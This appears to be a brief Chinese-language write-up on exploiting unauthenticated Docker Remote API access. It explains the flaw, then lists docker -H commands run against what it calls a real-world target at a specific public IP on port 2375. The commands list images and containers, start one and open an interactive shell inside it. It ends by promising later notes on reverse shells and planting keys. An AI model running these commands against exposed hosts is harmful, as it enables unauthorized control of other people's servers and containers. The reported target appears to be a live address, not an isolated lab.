0x01 漏洞簡介以及危害
Docker 是一個開源的引擎可以輕松地為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署包括 VMs、bare metal、OpenStack 集群和其他的基礎應用平台Docker。
Docker Remote API 是一個取代遠程命令行界面(rcli)的REST API。存在問題的版本分別為 1.3 和 1.6因為權限控制等問題導致可以通過 docker client 或者 http 直接請求就可以訪問這個 API,通過這個接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機的 shell。
0x02 漏洞利用過程
利用環境
實戰靶機ip:104.235.223.117
攻擊機:windows
ip:121.229.219.132
漏洞復現
# 通過未授權漏洞,查看docker版本信息
docker -H 104.235.223.117 version
# 查看一共有哪些容器,啟動了哪些容器
docker -H 104.235.223.117:2375 images
docker -H 104.235.223.117:2375 ps
# 如果有沒有啟動的容器,可以通過下面的命令啟動
docker -H 104.235.223.117:2375 run 6646e211f57b
# 進入容器
docker -H 104.235.223.117:2375 exec -it b22e50222615 sh
可以進入docker容器執行相關命令
0x03 改進
還可以通過docker未授權漏洞反彈shell和寫入秘鑰,相關文檔后續完善...